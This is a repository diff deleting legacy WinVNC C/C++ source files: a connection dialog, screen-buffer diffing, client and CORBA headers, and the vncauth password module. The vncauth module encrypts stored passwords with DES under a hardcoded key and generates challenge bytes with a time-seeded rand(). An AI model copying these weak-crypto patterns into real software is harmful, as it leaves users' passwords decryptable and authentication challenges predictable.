// the authors on vnc@uk.research.att.com for information on obtaining it.
class vncAcceptDialog;
#if (!defined(_WINVNC_VNCACCEPTDIALOG))
#define _WINVNC_VNCACCEPTDIALOG
#pragma once
// Incoming connection-rejection dialog. vncClient creates an AcceptDialog
// if it needs to query whether or not to accept a connection.
class vncAcceptDialog
{
public:
// Create an outgoing-connection dialog
vncAcceptDialog(UINT timeoutSecs, const char *ipAddress);
// Destructor
virtual ~vncAcceptDialog();
// Once a dialog object is created, either delete it again, or
// call DoDialog. DoDialog will run the dialog and return
// TRUE (Accept) or FALSE (Reject).
// The function will also return false if the dialog times out.
BOOL DoDialog();
// Internal stuffs
private:
// Routine to call when a dialog event occurs
static BOOL CALLBACK vncAcceptDlgProc(HWND hwndDlg,
UINT uMsg,
WPARAM wParam,
LPARAM lParam);
// Storage for the timeout value
UINT m_timeoutSecs;
UINT m_timeoutCount;
// Flashing hack
BOOL m_foreground_hack;
BOOL m_flash_state;
// Address of the offending machine
char *m_ipAddress;
};
#endif

View File

@ -1,132 +0,0 @@
// Copyright (C) 1999 AT&T Laboratories Cambridge. All Rights Reserved.
//
// This file is part of the VNC system.
//
// The VNC system is free software; you can redistribute it and/or modify
// it under the terms of the GNU General Public License as published by
// the Free Software Foundation; either version 2 of the License, or
// (at your option) any later version.
//
// This program is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
// GNU General Public License for more details.
//
// You should have received a copy of the GNU General Public License
// along with this program; if not, write to the Free Software
// Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307,
// USA.
//
// If the source code for the VNC system is not available from the place
// whence you received this file, check http://www.uk.research.att.com/vnc or contact
// the authors on vnc@uk.research.att.com for information on obtaining it.
/*
* Functions for VNC password management and authentication.
*
*/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <time.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <process.h>
#include "vncauth.h"
#include "d3des.h"
/*
* We use a fixed key to store passwords, since we assume that our local
* file system is secure but nonetheless don't want to store passwords
* as plaintext.
*/
unsigned char fixedkey[8] = {23,82,107,6,35,78,88,7};
/*
* Encrypt a password and store it in a file.
*/
int
vncEncryptPasswd(char *passwd, char *encryptedPasswd)
{
int i;
/* pad password with nulls */
for (i = 0; i < MAXPWLEN; i++) {
if (i < strlen(passwd)) {
encryptedPasswd[i] = passwd[i];
} else {
encryptedPasswd[i] = 0;
}
}
/* Do encryption in-place - this way we overwrite our copy of the plaintext
password */
deskey(fixedkey, EN0);
des(encryptedPasswd, encryptedPasswd);
return 8;
}
/*
* Decrypt a password. Returns a pointer to a newly allocated
* string containing the password or a null pointer if the password could
* not be retrieved for some reason.
*/
char *
vncDecryptPasswd(char *inouttext)
{
unsigned char *passwd = (unsigned char *)malloc(9);
deskey(fixedkey, DE1);
des(inouttext, passwd);
passwd[8] = 0;
return (char *)passwd;
}
/*
* Generate a set of random bytes for use in challenge-response authentication.
*/
void
vncRandomBytes(unsigned char *where) {
int i;
static unsigned int seed;
seed += (unsigned int) time(0) + getpid() + getpid() * 987654;
srand(seed);
for (i=0; i < CHALLENGESIZE; i++) {
where[i] = (unsigned char)(rand() & 255);
}
}
/*
* Encrypt some bytes in memory using a password.
*/
void
vncEncryptBytes(unsigned char *where, const char *passwd)
{
unsigned char key[8];
int i;
/* key is simply password padded with nulls */
for (i = 0; i < 8; i++) {
if (i < strlen(passwd)) {
key[i] = passwd[i];
} else {
key[i] = 0;
}
}
deskey(key, EN0);
for (i = 0; i < CHALLENGESIZE; i += 8) {
des(where+i, where+i);
}
}

View File

@ -1,35 +0,0 @@
// Copyright (C) 1999 AT&T Laboratories Cambridge. All Rights Reserved.
//
// This file is part of the VNC system.
//
// The VNC system is free software; you can redistribute it and/or modify
// it under the terms of the GNU General Public License as published by
// the Free Software Foundation; either version 2 of the License, or
// (at your option) any later version.
//
// This program is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
// GNU General Public License for more details.
//
// You should have received a copy of the GNU General Public License
// along with this program; if not, write to the Free Software
// Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307,
// USA.
//
// If the source code for the VNC system is not available from the place
// whence you received this file, check http://www.uk.research.att.com/vnc or contact
// the authors on vnc@uk.research.att.com for information on obtaining it.
/*
* vncauth.h - describes the functions provided by the vncauth library.
*/
#define MAXPWLEN 8
#define CHALLENGESIZE 16
extern int vncEncryptPasswd(char *passwd, char *fname);
extern char *vncDecryptPasswd(char *fname);
extern void vncRandomBytes(unsigned char *bytes);
extern void vncEncryptBytes(unsigned char *bytes, const char *passwd);

View File

@ -1,371 +0,0 @@
// Copyright (C) 2002-2003 RealVNC Ltd. All Rights Reserved.
// Copyright (C) 1999 AT&T Laboratories Cambridge. All Rights Reserved.
//
// This file is part of the VNC system.
//
// The VNC system is free software; you can redistribute it and/or modify
// it under the terms of the GNU General Public License as published by
// the Free Software Foundation; either version 2 of the License, or
// (at your option) any later version.
//
// This program is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
// GNU General Public License for more details.
//
// You should have received a copy of the GNU General Public License
// along with this program; if not, write to the Free Software
// Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307,
// USA.
//
// If the source code for the VNC system is not available from the place
// whence you received this file, check http://www.uk.research.att.com/vnc or contact
// the authors on vnc@uk.research.att.com for information on obtaining it.
// ScrBuffer implementation
#include "stdhdrs.h"
// Header
#include "vncDesktop.h"
#include "rfbMisc.h"
#include "vncBuffer.h"
// Implementation
vncBuffer::vncBuffer()
{
m_freemainbuff = FALSE;
m_mainbuff = NULL;
m_backbuff = NULL;
m_backbuffsize = 0;
m_desktop=NULL;
}
vncBuffer::~vncBuffer()
{
if (m_freemainbuff) {
// We need to free the slow-blit buffer
if (m_mainbuff != NULL)
{
delete [] m_mainbuff;
m_mainbuff = NULL;
}
}
if (m_backbuff != NULL)
{
delete [] m_backbuff;
m_backbuff = NULL;
}
m_backbuffsize = 0;
}
void
vncBuffer::SetDesktop(vncDesktop *desktop)
{
m_desktop=desktop;
CheckBuffer();
}
rfb::Rect
vncBuffer::GetSize()
{
return rfb::Rect(0, 0, m_scrinfo.framebufferWidth, m_scrinfo.framebufferHeight);
}
rfbPixelFormat
vncBuffer::GetLocalFormat()
{
return m_scrinfo.format;
}
BOOL
vncBuffer::CheckBuffer()
{
// Get the screen format, in case it has changed
m_desktop->FillDisplayInfo(&m_scrinfo);
m_bytesPerRow = m_scrinfo.framebufferWidth * m_scrinfo.format.bitsPerPixel/8;
// Check that the local format buffers are sufficient
if ((m_backbuffsize != m_desktop->ScreenBuffSize()) || !m_freemainbuff)
{
//vnclog.Print(LL_INTINFO, VNCLOG("request local buffer[%d]\n"), m_desktop->ScreenBuffSize());
if (m_freemainbuff) {
// Slow blits were enabled - free the slow blit buffer
if (m_mainbuff != NULL)
{
delete [] m_mainbuff;
m_mainbuff = NULL;
}
}
if (m_backbuff != NULL)
{
delete [] m_backbuff;
m_backbuff = NULL;
}
m_backbuffsize = 0;
// Check whether or not the vncDesktop is using fast blits
m_mainbuff = (BYTE *)m_desktop->OptimisedBlitBuffer();
if (m_mainbuff) {
// Prevent us from freeing the DIBsection buffer
m_freemainbuff = FALSE;
//vnclog.Print(LL_INTINFO, VNCLOG("fast blits detected - using DIBsection buffer\n"));
} else {
// Create our own buffer to copy blits through
m_freemainbuff = TRUE;
if ((m_mainbuff = new BYTE [m_desktop->ScreenBuffSize()]) == NULL)
{
//vnclog.Print(LL_INTERR, VNCLOG("unable to allocate main buffer[%d]\n"), m_desktop->ScreenBuffSize());
return FALSE;
}
memset(m_mainbuff, 0, m_desktop->ScreenBuffSize());
}
// Always create a back buffer
if ((m_backbuff = new BYTE [m_desktop->ScreenBuffSize()]) == NULL)
{
//vnclog.Print(LL_INTERR, VNCLOG("unable to allocate back buffer[%d]\n"), m_desktop->ScreenBuffSize());
return FALSE;
}
memset(m_backbuff, 0, m_desktop->ScreenBuffSize());
m_backbuffsize = m_desktop->ScreenBuffSize();
// Clear the backbuffer
//memcpy(m_backbuff, m_mainbuff, m_desktop->ScreenBuffSize());
}
//vnclog.Print(LL_INTINFO, VNCLOG("local buffer=%d\n"), m_backbuffsize);
return TRUE;
}
// Check a specified rectangle for changes and fill the region with
// the changed subrects
#pragma function(memcpy,memcmp)
void
vncBuffer::CheckRect(rfb::Region2D &dest, const rfb::Rect &srcrect)
{
if (!FastCheckMainbuffer())
return;
const int BLOCK_SIZE = 32;
const UINT bytesPerPixel = m_scrinfo.format.bitsPerPixel / 8;
rfb::Rect new_rect;
rfb::Rect srect = srcrect;
int x, y, ay, by;
// DWORD align the incoming rectangle. (bPP will be 8, 16 or 32)
if (bytesPerPixel < 4) {
if (bytesPerPixel == 1) // 1 byte per pixel
srect.tl.x -= (srect.tl.x & 3); // round down to nearest multiple of 4
else // 2 bytes per pixel
srect.tl.x -= (srect.tl.x & 1); // round down to nearest multiple of 2
}
// Scan down the rectangle
unsigned char *o_topleft_ptr = m_backbuff + (srect.tl.y * m_bytesPerRow) + (srect.tl.x * bytesPerPixel);
unsigned char *n_topleft_ptr = m_mainbuff + (srect.tl.y * m_bytesPerRow) + (srect.tl.x * bytesPerPixel);
for (y = srect.tl.y; y<srect.br.y; y+=BLOCK_SIZE)
{
// Work out way down the bitmap
unsigned char * o_row_ptr = o_topleft_ptr;
unsigned char * n_row_ptr = n_topleft_ptr;
const UINT blockbottom = min(y+BLOCK_SIZE, srect.br.y);
for (x = srect.tl.x; x<srect.br.x; x+=BLOCK_SIZE)
{
// Work our way across the row
unsigned char *n_block_ptr = n_row_ptr;
unsigned char *o_block_ptr = o_row_ptr;
const UINT blockright = min(x+BLOCK_SIZE, srect.br.x);
const UINT bytesPerBlockRow = (blockright-x) * bytesPerPixel;
// Scan this block
for (ay = y; ay < blockbottom; ay++)
{
if (memcmp(n_block_ptr, o_block_ptr, bytesPerBlockRow) != 0)
{
// A pixel has changed, so this block needs updating
new_rect.tl.y = y;
new_rect.tl.x = x;
new_rect.br.x = blockright;
new_rect.br.y = blockbottom;
dest = dest.union_(rfb::Region2D(new_rect));
// Copy the changes to the back buffer
for (by = ay; by < blockbottom; by++)
{
memcpy(o_block_ptr, n_block_ptr, bytesPerBlockRow);
n_block_ptr+=m_bytesPerRow;
o_block_ptr+=m_bytesPerRow;
}
break;
}
n_block_ptr += m_bytesPerRow;
o_block_ptr += m_bytesPerRow;
}
o_row_ptr += bytesPerBlockRow;
n_row_ptr += bytesPerBlockRow;
}
o_topleft_ptr += m_bytesPerRow * BLOCK_SIZE;
n_topleft_ptr += m_bytesPerRow * BLOCK_SIZE;
}
}
void
vncBuffer::GrabRegion(const rfb::Region2D &src)
{
rfb::RectVector rects;
rfb::RectVector::iterator i;
rfb::Rect grabRect;
//
// - Are there any rectangles to check?
//
src.get_rects(rects, 1, 1);
if (rects.empty()) return;
//
// - Grab the rectangles that may have changed
//
// The rectangles should have arrived in order of height
for (i = rects.begin(); i != rects.end(); i++)
{
rfb::Rect current = *i;
// Check that this rectangle is part of this capture region
if (current.tl.y > grabRect.br.y)
{
// If the existing rect is non-null the capture it
if (!grabRect.is_empty()) GrabRect(grabRect);
grabRect = current;
} else {
grabRect = current.union_boundary(grabRect);
}
}
// If there are still some rects to be done then do them
if (!grabRect.is_empty()) GrabRect(grabRect);
}
void
vncBuffer::CheckRegion(rfb::Region2D &dest, const rfb::Region2D &src)
{
rfb::RectVector rects;
rfb::RectVector::iterator i;
// If there is nothing to do then do nothing...
src.get_rects(rects, 1, 1);
if (rects.empty()) return;
//
// - Scan the specified rectangles for changes
//
for (i = rects.begin(); i != rects.end(); i++)
{
// Get the buffer to check for changes in the rect
CheckRect(dest, *i);
}
}
void
vncBuffer::GrabRect(const rfb::Rect &rect)
{
if (!FastCheckMainbuffer()) return;
m_desktop->CaptureScreen(rect, m_mainbuff, m_backbuffsize);
}
void
vncBuffer::CopyRect(const rfb::Rect &dest, const rfb::Point &delta)
{
rfb::Rect src = dest.translate(delta.negate());
// Copy the data from one part of the back-buffer to another!
const UINT bytesPerPixel = m_scrinfo.format.bitsPerPixel/8;
const UINT bytesPerLine = (dest.br.x-dest.tl.x)*bytesPerPixel;
BYTE *srcptr = m_backbuff + (src.tl.y * m_bytesPerRow) +
(src.tl.x * bytesPerPixel);
BYTE *destptr = m_backbuff + (dest.tl.y * m_bytesPerRow) +
(dest.tl.x * bytesPerPixel);
// Copy the data around in the right order
if (dest.tl.y < src.tl.y)
{
for (int y=dest.tl.y; y < dest.br.y; y++)
{
memmove(destptr, srcptr, bytesPerLine);
srcptr+=m_bytesPerRow;
destptr+=m_bytesPerRow;
}
}
else
{
srcptr += (m_bytesPerRow * ((dest.br.y-dest.tl.y)-1));
destptr += (m_bytesPerRow * ((dest.br.y-dest.tl.y)-1));
for (int y=dest.br.y; y > dest.tl.y; y--)
{
memmove(destptr, srcptr, bytesPerLine);
srcptr-=m_bytesPerRow;
destptr-=m_bytesPerRow;
}
}
}
void
vncBuffer::GrabMouse()
{
if (!FastCheckMainbuffer()) return;
m_desktop->CaptureMouse(m_mainbuff, m_backbuffsize);
}
void
vncBuffer::GetMousePos(rfb::Rect &rect)
{
rect = m_desktop->MouseRect();
}
void
vncBuffer::Clear(const rfb::Rect &rect)
{
if (!FastCheckMainbuffer())
return;
//vnclog.Print(LL_INTINFO,
// VNCLOG("clearing rectangle (%d, %d)-(%d, %d)\n"),
// rect.tl.x, rect.tl.y, rect.br.x, rect.br.y);
// Update the contents of a region, to stop it from being marked as having changed
BYTE *backptr = m_backbuff + (rect.tl.y * m_bytesPerRow) + (rect.tl.x * m_scrinfo.format.bitsPerPixel/8);
BYTE *mainptr = m_mainbuff + (rect.tl.y * m_bytesPerRow) + (rect.tl.x * m_scrinfo.format.bitsPerPixel/8);
const UINT bytesPerLine = (rect.br.x-rect.tl.x)*(m_scrinfo.format.bitsPerPixel/8);
for (int y=rect.tl.y; y < rect.br.y; y++)
{
memcpy(backptr, mainptr, bytesPerLine);
backptr+=m_bytesPerRow;
mainptr+=m_bytesPerRow;
}
}
// Verify that the fast blit buffer hasn't changed
inline BOOL
vncBuffer::FastCheckMainbuffer() {
VOID *tmp = m_desktop->OptimisedBlitBuffer();
if (tmp && (m_mainbuff != tmp))
return CheckBuffer();
return TRUE;
}

View File

@ -1,101 +0,0 @@
// Copyright (C) 2002-2003 RealVNC Ltd. All Rights Reserved.
// Copyright (C) 1999 AT&T Laboratories Cambridge. All Rights Reserved.
//
// This file is part of the VNC system.
//
// The VNC system is free software; you can redistribute it and/or modify
// it under the terms of the GNU General Public License as published by
// the Free Software Foundation; either version 2 of the License, or
// (at your option) any later version.
//
// This program is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
// GNU General Public License for more details.
//
// You should have received a copy of the GNU General Public License
// along with this program; if not, write to the Free Software
// Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307,
// USA.
//
// If the source code for the VNC system is not available from the place
// whence you received this file, check http://www.uk.research.att.com/vnc or contact
// the authors on vnc@uk.research.att.com for information on obtaining it.
// vncBuffer object
// The vncBuffer object provides a client-local copy of the screen
// It can tell the client which bits have changed in a given region
// It uses the specified vncDesktop to read screen data from
class vncBuffer;
#if !defined(_WINVNC_VNCBUFFER)
#define _WINVNC_VNCBUFFER
#pragma once
// Includes
#include "stdhdrs.h"
#include "vncEncoder.h"
#include "rfbRegion.h"
#include "rfbRect.h"
#include "rfb.h"
// Class definition
class vncDesktop;
class vncBuffer
{
// Methods
public:
// Create/Destroy methods
vncBuffer();
~vncBuffer();
void SetDesktop(vncDesktop *desktop);
// BUFFER INFO
rfb::Rect GetSize();
rfbPixelFormat GetLocalFormat();
// BUFFER MANIPULATION
BOOL CheckBuffer();
// SCREEN SCANNING
void Clear(const rfb::Rect &rect);
void CheckRegion(rfb::Region2D &dest, const rfb::Region2D &src);
void CheckRect(rfb::Region2D &dest, const rfb::Rect &src);
// SCREEN CAPTURE
void CopyRect(const rfb::Rect &dest, const rfb::Point &delta);
void GrabMouse();
void GrabRegion(const rfb::Region2D &src);
void GetMousePos(rfb::Rect &rect);
// Implementation
protected:
// Routine to verify the mainbuff handle hasn't changed
BOOL FastCheckMainbuffer();
// Fetch pixel data to the main buffer from the screen
void GrabRect(const rfb::Rect &rect);
BYTE *m_mainbuff;
BOOL m_freemainbuff;
UINT m_bytesPerRow;
rfbServerInitMsg m_scrinfo;
public:
// vncEncodeMgr reads data from back buffer directly when encoding
BYTE *m_backbuff;
UINT m_backbuffsize;
vncDesktop *m_desktop;
};
#endif // _WINVNC_VNCBUFFER

File diff suppressed because it is too large Load Diff

View File

@ -1,252 +0,0 @@
// Copyright (C) 2002-2003 RealVNC Ltd. All Rights Reserved.
// Copyright (C) 1999 AT&T Laboratories Cambridge. All Rights Reserved.
//
// This file is part of the VNC system.
//
// The VNC system is free software; you can redistribute it and/or modify
// it under the terms of the GNU General Public License as published by
// the Free Software Foundation; either version 2 of the License, or
// (at your option) any later version.
//
// This program is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
// GNU General Public License for more details.
//
// You should have received a copy of the GNU General Public License
// along with this program; if not, write to the Free Software
// Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307,
// USA.
//
// If the source code for the VNC system is not available from the place
// whence you received this file, check http://www.uk.research.att.com/vnc or contact
// the authors on vnc@uk.research.att.com for information on obtaining it.
// vncClient.h
// vncClient class handles the following functions:
// - Recieves requests from the connected client and
// handles them
// - Handles incoming updates properly, using a vncBuffer
// object to keep track of screen changes
// It uses a vncBuffer and is passed the vncDesktop and
// vncServer to communicate with.
class vncClient;
typedef SHORT vncClientId;
#if (!defined(_WINVNC_VNCCLIENT))
#define _WINVNC_VNCCLIENT
#include <list>
typedef std::list<vncClientId> vncClientList;
// Includes
#include "stdhdrs.h"
#include "VSocket.h"
#include <omnithread.h>
// Custom
#include "vncDesktop.h"
#include "rfbRegion.h"
#include "rfbUpdateTracker.h"
#include "vncBuffer.h"
#include "vncEncodeMgr.h"
// The vncClient class itself
class vncClient
{
public:
// Constructor/destructor
vncClient();
~vncClient();
// Allow the client thread to see inside the client object
friend class vncClientThread;
friend class vncClientUpdateThread;
// Init
virtual BOOL Init(vncServer *server,
VSocket *socket,
BOOL auth,
BOOL shared,
vncClientId newid);
// Kill
// The server uses this to close the client socket, causing the
// client thread to fail, which in turn deletes the client object
virtual void Kill();
// Client manipulation functions for use by the server
virtual void SetBuffer(vncBuffer *buffer);
// Update handling functions
// These all lock the UpdateLock themselves
virtual void UpdateMouse();
virtual void UpdateClipText(const char* text);
virtual void UpdatePalette();
virtual void UpdateLocalFormat();
// Is the client waiting on an update?
// YES IFF there is an incremental update region,
// AND no changed or copied updates intersect it
virtual BOOL UpdateWanted() {
omni_mutex_lock l(GetUpdateLock());
return !m_incr_rgn.is_empty() &&
m_incr_rgn.intersect(m_update_tracker.get_changed_region()).is_empty() &&
m_incr_rgn.intersect(m_update_tracker.get_copied_region()).is_empty();
};
// Has the client sent an input event?
virtual BOOL RemoteEventReceived() {
BOOL result = m_remoteevent;
m_remoteevent = FALSE;
return result;
};
// The UpdateLock
// This must be held for a number of routines to be successfully invoked...
virtual omni_mutex& GetUpdateLock() {return m_encodemgr.GetUpdateLock();};
// Functions for setting & getting the client settings
virtual void SetTeleport(BOOL teleport) {m_teleport = teleport;};
virtual void EnableKeyboard(BOOL enable) {m_keyboardenabled = enable;};
virtual void EnablePointer(BOOL enable) {m_pointerenabled = enable;};
virtual void SetCapability(int capability) {m_capability = capability;};
virtual BOOL IsTeleport() {return m_teleport;};
virtual BOOL IsKeyboardEnabled() {return m_keyboardenabled;};
virtual BOOL IsPointerEnabled() {return m_pointerenabled;};
virtual int GetCapability() {return m_capability;};
virtual const char *GetClientName();
virtual vncClientId GetClientId() {return m_id;};
// Disable/enable protocol messages to the client
virtual void DisableProtocol();
virtual void EnableProtocol();
// Update routines
protected:
BOOL SendUpdate(rfb::SimpleUpdateTracker &update);
BOOL SendRFBMsg(CARD8 type, BYTE *buffer, int buflen);
BOOL SendRectangles(const rfb::RectVector &rects);
BOOL SendRectangle(const rfb::Rect &rect);
BOOL SendCopyRect(const rfb::Rect &dest, const rfb::Point &source);
BOOL SendPalette();
void TriggerUpdateThread();
void PollWindow(HWND hwnd);
// Specialised client-side UpdateTracker
protected:
// This update tracker stores updates it receives and
// kicks the client update thread every time one is received
class ClientUpdateTracker : public rfb::SimpleUpdateTracker {
public:
ClientUpdateTracker() : m_client(0) {};
virtual ~ClientUpdateTracker() {};
void init(vncClient *client) {m_client=client;}
// XXX Always call with GetUpdateLock() held!
virtual void add_changed(const rfb::Region2D &region) {
SimpleUpdateTracker::add_changed(region);
m_client->TriggerUpdateThread();
}
virtual void add_copied(const rfb::Region2D &dest, const rfb::Point &delta) {
SimpleUpdateTracker::add_copied(dest, delta);
m_client->TriggerUpdateThread();
}
virtual void clear() {
SimpleUpdateTracker::clear();
}
virtual void flush_update(rfb::UpdateInfo &info, const rfb::Region2D &cliprgn) {;
SimpleUpdateTracker::flush_update(info, cliprgn);
}
virtual void flush_update(rfb::UpdateTracker &to, const rfb::Region2D &cliprgn) {;
SimpleUpdateTracker::flush_update(to, cliprgn);
}
virtual void get_update(rfb::UpdateInfo &info) const {;
SimpleUpdateTracker::get_update(info);
}
virtual void get_update(rfb::UpdateTracker &to) const {
SimpleUpdateTracker::get_update(to);
}
virtual bool is_empty() {
return SimpleUpdateTracker::is_empty();
}
protected:
vncClient *m_client;
};
friend class ClientUpdateTracker;
// Make the update tracker available externally
public:
rfb::UpdateTracker &GetUpdateTracker() {return m_update_tracker;};
// Internal stuffs
protected:
// Per-client settings
BOOL m_teleport;
BOOL m_keyboardenabled;
BOOL m_pointerenabled;
int m_capability;
vncClientId m_id;
// Pixel translation & encoding handler
vncEncodeMgr m_encodemgr;
// The server
vncServer *m_server;
// The socket
VSocket *m_socket;
char *m_client_name;
// The client thread
omni_thread *m_thread;
// Count to indicate whether updates, clipboards, etc can be sent
// to the client. If 0 then OK, otherwise not.
ULONG m_disable_protocol;
// User input information
rfb::Rect m_oldmousepos;
BOOL m_mousemoved;
rfbPointerEventMsg m_ptrevent;
// Update tracking structures
ClientUpdateTracker m_update_tracker;
// Client update transmission thread
vncClientUpdateThread *m_updatethread;
// Requested update region & requested flag
rfb::Region2D m_incr_rgn;
// Full screen rectangle
rfb::Rect m_fullscreen;
// When the local display is palettized, it sometimes changes...
BOOL m_palettechanged;
// Information used in polling mode!
BOOL m_remoteevent;
// Clipboard data
char* m_clipboard_text;
};
#endif

View File

@ -1,158 +0,0 @@
// Copyright (C) 1999 AT&T Laboratories Cambridge. All Rights Reserved.
//
// This file is part of the VNC system.
//
// The VNC system is free software; you can redistribute it and/or modify
// it under the terms of the GNU General Public License as published by
// the Free Software Foundation; either version 2 of the License, or
// (at your option) any later version.
//
// This program is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
// GNU General Public License for more details.
//
// You should have received a copy of the GNU General Public License
// along with this program; if not, write to the Free Software
// Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307,
// USA.
//
// If the source code for the VNC system is not available from the place
// whence you received this file, check http://www.uk.research.att.com/vnc or contact
// the authors on vnc@uk.research.att.com for information on obtaining it.
// vncConnDialog.cpp: implementation of the vncConnDialog class, used
// to forge outgoing connections to VNC-viewer
#include "stdhdrs.h"
#include "vncConnDialog.h"
#include "WinVNC.h"
#include "resource.h"
// Constructor
vncConnDialog::vncConnDialog(vncServer *server)
{
m_server = server;
}
// Destructor
vncConnDialog::~vncConnDialog()
{
}
// Routine called to activate the dialog and, once it's done, delete it
void vncConnDialog::DoDialog()
{
DialogBoxParam(hAppInstance, MAKEINTRESOURCE(IDD_OUTGOING_CONN),
NULL, (DLGPROC) vncConnDlgProc, (LONG) this);
delete this;
}
// Callback function - handles messages sent to the dialog box
BOOL CALLBACK vncConnDialog::vncConnDlgProc(HWND hwnd,
UINT uMsg,
WPARAM wParam,
LPARAM lParam) {
// This is a static method, so we don't know which instantiation we're
// dealing with. But we can get a pseudo-this from the parameter to
// WM_INITDIALOG, which we therafter store with the window and retrieve
// as follows:
vncConnDialog *_this = (vncConnDialog *) GetWindowLong(hwnd, GWL_USERDATA);
switch (uMsg) {
// Dialog has just been created
case WM_INITDIALOG:
{
// Save the lParam into our user data so that subsequent calls have
// access to the parent C++ object
SetWindowLong(hwnd, GWL_USERDATA, lParam);
vncConnDialog *_this = (vncConnDialog *) lParam;
// Make the text entry box active
SetFocus(GetDlgItem(hwnd, IDC_HOSTNAME_EDIT));
// Return success!
return TRUE;
}
// Dialog has just received a command
case WM_COMMAND:
switch (LOWORD(wParam)) {
// User clicked OK or pressed return
case IDOK:
{
char viewer[256];
char hostname[256];
VCard display_or_port;
// Get the viewer to connect to
GetDlgItemText(hwnd, IDC_HOSTNAME_EDIT, viewer, 256);
// Process the supplied viewer address
int result = sscanf(viewer, "%255[^:]:%u", hostname, &display_or_port);
if (result == 1) {
display_or_port = 0;
result = 2;
}
if (result == 2) {
// Correct a display number to a port number if required
if (display_or_port < 100) {
display_or_port += INCOMING_PORT_OFFSET;
}
// Attempt to create a new socket
VSocket *tmpsock;
tmpsock = new VSocket;
if (!tmpsock)
return TRUE;
// Connect out to the specified host on the VNCviewer listen port
// To be really good, we should allow a display number here but
// for now we'll just assume we're connecting to display zero
tmpsock->Create();
if (tmpsock->Connect(hostname, display_or_port)) {
// Add the new client to this server
_this->m_server->AddClient(tmpsock, TRUE, TRUE);
// And close the dialog
EndDialog(hwnd, TRUE);
} else {
// Print up an error message
MessageBox(NULL,
"Failed to connect to listening VNC viewer",
"Outgoing Connection",
MB_OK | MB_ICONEXCLAMATION );
delete tmpsock;
}
} else {
// We couldn't process the machine specification
MessageBox(NULL, "Unable to process specified hostname and display/port",
"Outgoing Connection", MB_OK | MB_ICONEXCLAMATION);
}
}
return TRUE;
// Cancel the dialog
case IDCANCEL:
EndDialog(hwnd, FALSE);
return TRUE;
};
break;
case WM_DESTROY:
EndDialog(hwnd, FALSE);
return TRUE;
}
return 0;
}

View File

@ -1,64 +0,0 @@
// Copyright (C) 1999 AT&T Laboratories Cambridge. All Rights Reserved.
//
// This file is part of the VNC system.
//
// The VNC system is free software; you can redistribute it and/or modify
// it under the terms of the GNU General Public License as published by
// the Free Software Foundation; either version 2 of the License, or
// (at your option) any later version.
//
// This program is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
// GNU General Public License for more details.
//
// You should have received a copy of the GNU General Public License
// along with this program; if not, write to the Free Software
// Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307,
// USA.
//
// If the source code for the VNC system is not available from the place
// whence you received this file, check http://www.uk.research.att.com/vnc or contact
// the authors on vnc@uk.research.att.com for information on obtaining it.
class vncConnDialog;
#if (!defined(_WINVNC_VNCCONNDIALOG))
#define _WINVNC_VNCCONNDIALOG
#pragma once
#include "vncServer.h"
// Outgoing connection dialog. This allows people running VNC servers on
// Win32 platforms to _push_ their displays out to other people's screens
// rather than having to _pull_ them across.
class vncConnDialog
{
public:
// Create an outgoing-connection dialog
vncConnDialog(vncServer *server);
// Destructor
virtual ~vncConnDialog();
// Once a dialog object is created, either delete it again, or
// call DoDialog. DoDialog will run the object and delete it when done
void DoDialog();
// Internal stuffs
private:
// Routine to call when a dialog event occurs
static BOOL CALLBACK vncConnDlgProc(HWND hwndDlg,
UINT uMsg,
WPARAM wParam,
LPARAM lParam);
// Pointer back to the server object
vncServer *m_server;
};
#endif

View File

@ -1,93 +0,0 @@
// Copyright (C) 1999 AT&T Laboratories Cambridge. All Rights Reserved.
//
// This file is part of the VNC system.
//
// The VNC system is free software; you can redistribute it and/or modify
// it under the terms of the GNU General Public License as published by
// the Free Software Foundation; either version 2 of the License, or
// (at your option) any later version.
//
// This program is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
// GNU General Public License for more details.
//
// You should have received a copy of the GNU General Public License
// along with this program; if not, write to the Free Software
// Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307,
// USA.
//
// If the source code for the VNC system is not available from the place
// whence you received this file, check http://www.uk.research.att.com/vnc or contact
// the authors on vnc@uk.research.att.com for information on obtaining it.
// vncCorbaConnect
// The vncCorbaConnect object makes the WinVNC server available through
// the CORBA desktop control interface
class vncCorbaConnect;
#if (!defined(_WINVNC_VNCCORBACONNECT))
#define _WINVNC_VNCCORBACONNECT
// Includes
#include "stdhdrs.h"
// The following class definition is only used if CORBA control
// is to be enabled in the final executable
#if(defined(_CORBA))
#include "vnc.hh"
#include "vncServer.h"
// The vncCorbaConnect class itself
class vncCorbaConnect
{
public:
// Constructor/destructor
vncCorbaConnect();
~vncCorbaConnect();
// Init
virtual BOOL Init(vncServer *server);
// Implementation
protected:
// Internal methods
virtual BOOL InitQuiet(vncServer *server);
virtual BOOL InitCorba(int argc, char *argv[]);
